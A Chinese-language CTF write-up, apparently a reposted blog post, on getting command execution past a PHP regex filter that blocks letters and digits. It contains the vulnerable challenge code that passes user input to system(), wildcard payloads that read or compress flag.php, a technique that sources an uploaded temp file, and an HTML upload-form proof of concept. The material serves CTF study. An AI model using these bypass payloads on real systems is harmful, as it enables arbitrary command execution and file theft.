0x00 序言
??總結下命令執行繞過字母數字的一些小技巧,
0x01 原理
??管理員為了防止任意用戶輸入的惡意代碼導致的命令執行,在用戶輸入處加了一層waf攔截,waf可能是通過正則匹配過濾了字母,也可能是通過正則匹配過濾了字母和數字,
0x02 過濾了字母的繞過方式
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: [email protected]
# @link: https://ctfer.com
*/
// 你們在炫技嗎?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
- 代碼審計
??過濾了字母 分號 反引號 百分號 和 %09 %26 <>
但是可以觀察到其實沒有過濾空格,
0x02.1 使用 /bin/base64 xxx 進行繞過
??Linux的bin目錄一般保存了所有的二進制命令, 正常我們輸入的cat xxx啥的 其實也可以通過/bin/cat 打開檔案,而哪種命令打開檔案還能帶有數字呢? 可以嘗試使用 base64 去打開檔案,將檔案以base64編碼輸出


- base32

- base64

雖然這樣輸入依然有字母,但是我們可以通過通配符?去繞過,而且因為有了數字,匹配的會更加準確
如果直接使用通配符是不行的,因為這在Linux無法通過????去找到命令

這里因為我用kali測驗的

測驗程序中發現居然還有別的目錄被匹配到了,笑了

改成32進行測驗,發現也不行

服了
測驗成功的一次是

如果全用通配符的話 會匹配到別的東西

如果只改回一個為字母,則能正常匹配,至少能正常匹配了,kali直接使用/bin/base32 去匹配的話可能有問題,
應該是如果要執行命令的話一定要絕對路徑,因為指標指向的可能是絕對路徑的地址,所以這里要想使用通配符的話必須通過/usr/bin/base64去執行命令,
這里因為測驗的時候發現/bin/x11/base32 可用所以直接

但是這是kali,
題目的正常解法可以直接 /bin/base64 flag.php => /???/????64 ????????
可能是因為題目服務器配置比較干凈吧
了解原理就行了,
0x02.2 使用 /usr/bin/bzip2 去壓縮檔案夾
可以發現我的Kali東西比較多,,,

發現又是x11

不折騰了
常規操作,如果是比較干凈的linux系統直接 /???/???/???2 ????????
最后????????是 flag.php
壓縮后 直接 訪問 對應的url即可比如 訪問 https:/xx/flag.php.bz2 可用直接下載
0x02.3 使用.去執行sh檔案
非常妙的思路,linux中.相當于source,可以直接執行sh檔案


不管有無檔案后綴名,都是根據命令來選擇打開檔案的方式,

而且因為php檔案在上傳時 會在服務端/tmp目錄下生成php?????? 隨機六個字母
所以可以通過 ?c=. /???/????????[@-[] 去進行匹配
[@-[]也是一種通配符,匹配方式是匹配@~[的范圍,查ascii表可知道 正好是大寫字母
然后我們生成一個提交表單
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST資料包POC</title>
</head>
<body>
<form action="{.url}" method="post" enctype="multipart/form-data">
<!--鏈接是當前打開的題目鏈接-->
<label for="file">檔案名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="https://www.cnblogs.com/Dark1nt/p/提交">
</form>
</body>
</html>
向指定url進行php檔案提交 同時?c=. /???/????????[@-[]
在php檔案里寫入
#!/bin/bash
ls
多次提交,可實作任意命令執行,
繞過了字母和數字的過濾方式
- 使用.去執行sh檔案
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/285866.html
標籤:訊息安全
